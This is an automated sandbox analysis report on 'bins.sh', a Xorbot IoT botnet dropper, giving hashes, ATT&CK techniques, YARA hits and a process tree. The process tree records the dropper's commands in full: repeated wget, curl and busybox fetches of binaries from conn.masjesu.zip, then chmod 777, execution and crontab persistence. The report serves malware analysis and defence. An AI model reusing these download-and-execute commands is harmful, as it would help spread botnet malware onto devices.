xorbot | 3ee572774d84f42ca24f2f7e1d041f6c54a2b1595c83ba591c6f60af4f5095cb

Analysis

max time kernel
125s
max time network
139s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
27/02/2025, 17:08

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General

Target

bins.sh
Size

10KB
MD5

0aec7763cd1e0b0ff0816e8a61703e14
SHA1

34d8cc1b3dde4180fc98bb42337526cd285596f7
SHA256

3ee572774d84f42ca24f2f7e1d041f6c54a2b1595c83ba591c6f60af4f5095cb
SHA512

5f0b46c702a374991819ff3d43141d24ad4b6bdbf112848d05cff833a9e37ed2e0f10dd9705e1da911c169a617fbd504806c616a73337888e4a54ee1366ff0b7
SSDEEP

96:YaS+FFFlFcMLLnRL049GDLrHZcUlnBRn7NY8F7XsL3nL4qPjOxLwsOtJb3li6PQ0:lhaOGib0xCruW

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 5 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-5.dat	family_xorbot
behavioral4/files/fstream-7.dat	family_xorbot
behavioral4/files/fstream-9.dat	family_xorbot
behavioral4/files/fstream-11.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (829) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
906	chmod
1009	chmod
1016	chmod
800	chmod
841	chmod
863	chmod
874	chmod
882	chmod
890	chmod
898	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH	802	bins.sh
/tmp/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd	843	bins.sh
/tmp/Pms3WTDY7UrDojH8BdAAd4auYwS3NfuF2G	864	bins.sh
/tmp/i6C3Xfoavwm7JRWli0Gq70yAzBCkM23lIg	875	bins.sh
/tmp/yDz9I5BEDnV3apCzeeQ8mgFl3fVJxlxX2z	883	bins.sh
/tmp/aVIOlXsIWlMuHr7bPFZQ28uU14xpRzct0d	891	bins.sh
/tmp/BM9LHHBovzXpLCKQEPchwGKl0dUdJSUhmO	899	bins.sh
/tmp/tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu	907	bins.sh

Renames itself 1 IoCs

pid	Process
908	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.uqlC4X	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/996/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/1041/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/926/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/941/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/968/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/970/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/1025/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/11/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/445/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/923/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/950/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/969/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/975/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/995/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/1012/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/687/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/913/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/921/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/948/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/1027/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/1032/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/1045/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/1065/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/988/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/1019/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/1044/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/1056/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/946/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/951/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/1048/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/14/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/24/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/160/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/737/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/740/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/990/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/1011/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/1033/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/2/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/16/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/18/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/391/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/962/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/966/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/1003/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/1004/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/6/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/932/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/949/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/1024/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/1037/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/1039/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/10/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/916/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/945/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/954/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/963/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/1013/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/1026/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/5/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/21/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
File opened for reading	/proc/74/cmdline	tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu

System Network Configuration Discovery 1 TTPs 31 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
920	busybox
1013	curl
822	curl
879	curl
795	busybox
848	wget
868	curl
873	busybox
886	wget
895	curl
897	busybox
808	wget
857	curl
862	busybox
867	wget
887	curl
744	wget
878	wget
917	wget
894	wget
902	wget
903	curl
918	curl
1012	wget
824	busybox
881	busybox
1015	busybox
769	curl
889	busybox
905	busybox
1019	wget

Writes file to tmp directory 22 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/yDz9I5BEDnV3apCzeeQ8mgFl3fVJxlxX2z	curl
File opened for modification	/tmp/BM9LHHBovzXpLCKQEPchwGKl0dUdJSUhmO	wget
File opened for modification	/tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH	curl
File opened for modification	/tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH	busybox
File opened for modification	/tmp/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd	curl
File opened for modification	/tmp/Pms3WTDY7UrDojH8BdAAd4auYwS3NfuF2G	wget
File opened for modification	/tmp/BM9LHHBovzXpLCKQEPchwGKl0dUdJSUhmO	busybox
File opened for modification	/tmp/tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu	wget
File opened for modification	/tmp/tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu	curl
File opened for modification	/tmp/i6C3Xfoavwm7JRWli0Gq70yAzBCkM23lIg	curl
File opened for modification	/tmp/i6C3Xfoavwm7JRWli0Gq70yAzBCkM23lIg	busybox
File opened for modification	/tmp/yDz9I5BEDnV3apCzeeQ8mgFl3fVJxlxX2z	wget
File opened for modification	/tmp/aVIOlXsIWlMuHr7bPFZQ28uU14xpRzct0d	wget
File opened for modification	/tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH	wget
File opened for modification	/tmp/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd	wget
File opened for modification	/tmp/i6C3Xfoavwm7JRWli0Gq70yAzBCkM23lIg	wget
File opened for modification	/tmp/yDz9I5BEDnV3apCzeeQ8mgFl3fVJxlxX2z	busybox
File opened for modification	/tmp/aVIOlXsIWlMuHr7bPFZQ28uU14xpRzct0d	curl
File opened for modification	/tmp/aVIOlXsIWlMuHr7bPFZQ28uU14xpRzct0d	busybox
File opened for modification	/tmp/BM9LHHBovzXpLCKQEPchwGKl0dUdJSUhmO	curl
File opened for modification	/tmp/tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu	busybox
File opened for modification	/tmp/Pms3WTDY7UrDojH8BdAAd4auYwS3NfuF2G	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:740
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:742
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:769
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:795
- /bin/chmod
  chmod 777 PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
  2⤵
  - File and Directory Permissions Modification
  PID:800
- /tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
  ./PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
  2⤵
  PID:802
- /bin/rm
  rm PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
  2⤵
  PID:806
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:808
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:822
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
  2⤵
  - System Network Configuration Discovery
  PID:824
- /bin/chmod
  chmod 777 PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
  ./PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
  2⤵
  PID:843
- /bin/rm
  rm PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
  2⤵
  PID:846
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Pms3WTDY7UrDojH8BdAAd4auYwS3NfuF2G
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:848
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Pms3WTDY7UrDojH8BdAAd4auYwS3NfuF2G
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:857
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Pms3WTDY7UrDojH8BdAAd4auYwS3NfuF2G
  2⤵
  - System Network Configuration Discovery
  PID:862
- /bin/chmod
  chmod 777 Pms3WTDY7UrDojH8BdAAd4auYwS3NfuF2G
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/Pms3WTDY7UrDojH8BdAAd4auYwS3NfuF2G
  ./Pms3WTDY7UrDojH8BdAAd4auYwS3NfuF2G
  2⤵
  PID:864
- /bin/rm
  rm Pms3WTDY7UrDojH8BdAAd4auYwS3NfuF2G
  2⤵
  PID:866
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/i6C3Xfoavwm7JRWli0Gq70yAzBCkM23lIg
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:867
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/i6C3Xfoavwm7JRWli0Gq70yAzBCkM23lIg
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:868
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/i6C3Xfoavwm7JRWli0Gq70yAzBCkM23lIg
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:873
- /bin/chmod
  chmod 777 i6C3Xfoavwm7JRWli0Gq70yAzBCkM23lIg
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/i6C3Xfoavwm7JRWli0Gq70yAzBCkM23lIg
  ./i6C3Xfoavwm7JRWli0Gq70yAzBCkM23lIg
  2⤵
  PID:875
- /bin/rm
  rm i6C3Xfoavwm7JRWli0Gq70yAzBCkM23lIg
  2⤵
  PID:877
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/yDz9I5BEDnV3apCzeeQ8mgFl3fVJxlxX2z
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:878
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/yDz9I5BEDnV3apCzeeQ8mgFl3fVJxlxX2z
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:879
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/yDz9I5BEDnV3apCzeeQ8mgFl3fVJxlxX2z
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:881
- /bin/chmod
  chmod 777 yDz9I5BEDnV3apCzeeQ8mgFl3fVJxlxX2z
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/yDz9I5BEDnV3apCzeeQ8mgFl3fVJxlxX2z
  ./yDz9I5BEDnV3apCzeeQ8mgFl3fVJxlxX2z
  2⤵
  PID:883
- /bin/rm
  rm yDz9I5BEDnV3apCzeeQ8mgFl3fVJxlxX2z
  2⤵
  PID:885
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aVIOlXsIWlMuHr7bPFZQ28uU14xpRzct0d
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:886
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aVIOlXsIWlMuHr7bPFZQ28uU14xpRzct0d
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aVIOlXsIWlMuHr7bPFZQ28uU14xpRzct0d
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:889
- /bin/chmod
  chmod 777 aVIOlXsIWlMuHr7bPFZQ28uU14xpRzct0d
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/aVIOlXsIWlMuHr7bPFZQ28uU14xpRzct0d
  ./aVIOlXsIWlMuHr7bPFZQ28uU14xpRzct0d
  2⤵
  PID:891
- /bin/rm
  rm aVIOlXsIWlMuHr7bPFZQ28uU14xpRzct0d
  2⤵
  PID:893
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BM9LHHBovzXpLCKQEPchwGKl0dUdJSUhmO
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:894
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BM9LHHBovzXpLCKQEPchwGKl0dUdJSUhmO
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BM9LHHBovzXpLCKQEPchwGKl0dUdJSUhmO
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:897
- /bin/chmod
  chmod 777 BM9LHHBovzXpLCKQEPchwGKl0dUdJSUhmO
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/BM9LHHBovzXpLCKQEPchwGKl0dUdJSUhmO
  ./BM9LHHBovzXpLCKQEPchwGKl0dUdJSUhmO
  2⤵
  PID:899
- /bin/rm
  rm BM9LHHBovzXpLCKQEPchwGKl0dUdJSUhmO
  2⤵
  PID:901
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:902
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:903
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:905
- /bin/chmod
  chmod 777 tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
  ./tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:907
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:909
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:910
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:911
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:912
- /bin/rm
  rm tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
  2⤵
  PID:914
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JyzOdtgrEnV5ReBdCe08l1BWBvjNXdDX1o
  2⤵
  - System Network Configuration Discovery
  PID:917
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/JyzOdtgrEnV5ReBdCe08l1BWBvjNXdDX1o
  2⤵
  - System Network Configuration Discovery
  PID:918
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/JyzOdtgrEnV5ReBdCe08l1BWBvjNXdDX1o
  2⤵
  - System Network Configuration Discovery
  PID:920
- /bin/chmod
  chmod 777 JyzOdtgrEnV5ReBdCe08l1BWBvjNXdDX1o
  2⤵
  - File and Directory Permissions Modification
  PID:1009
- /tmp/JyzOdtgrEnV5ReBdCe08l1BWBvjNXdDX1o
  ./JyzOdtgrEnV5ReBdCe08l1BWBvjNXdDX1o
  2⤵
  PID:1010
- /bin/rm
  rm JyzOdtgrEnV5ReBdCe08l1BWBvjNXdDX1o
  2⤵
  PID:1011
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ue0sD9VxSWJ3LYmXLsBAuOXuvehKVM4BlY
  2⤵
  - System Network Configuration Discovery
  PID:1012
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ue0sD9VxSWJ3LYmXLsBAuOXuvehKVM4BlY
  2⤵
  - System Network Configuration Discovery
  PID:1013
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ue0sD9VxSWJ3LYmXLsBAuOXuvehKVM4BlY
  2⤵
  - System Network Configuration Discovery
  PID:1015
- /bin/chmod
  chmod 777 Ue0sD9VxSWJ3LYmXLsBAuOXuvehKVM4BlY
  2⤵
  - File and Directory Permissions Modification
  PID:1016
- /tmp/Ue0sD9VxSWJ3LYmXLsBAuOXuvehKVM4BlY
  ./Ue0sD9VxSWJ3LYmXLsBAuOXuvehKVM4BlY
  2⤵
  PID:1017
- /bin/rm
  rm Ue0sD9VxSWJ3LYmXLsBAuOXuvehKVM4BlY
  2⤵
  PID:1018
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7nVocl1DKprMoID2mwre5D2z45ncBvSQrA
  2⤵
  - System Network Configuration Discovery
  PID:1019

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/BM9LHHBovzXpLCKQEPchwGKl0dUdJSUhmO

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

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/tmp/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

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/tmp/Pms3WTDY7UrDojH8BdAAd4auYwS3NfuF2G

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

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/tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

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/tmp/aVIOlXsIWlMuHr7bPFZQ28uU14xpRzct0d

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/i6C3Xfoavwm7JRWli0Gq70yAzBCkM23lIg

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/yDz9I5BEDnV3apCzeeQ8mgFl3fVJxlxX2z

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/var/spool/cron/crontabs/tmp.uqlC4X

Filesize
210B

MD5
10597e5de2a57545b17e829dabef1f72

SHA1
60bff8b3b826429896573eafe4a6277329024348

SHA256
622c1f797c914748b1eeb3939ba666a85aef5f07560d0afede5e298950018742

SHA512
187bfdaf03935f139260134a205bf2add896225397a1b22c0ca56a0d82ce726c16ab853488e8a64649bacd2056ad15235d57af58137a4e11dd53d50175b0e1bd

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads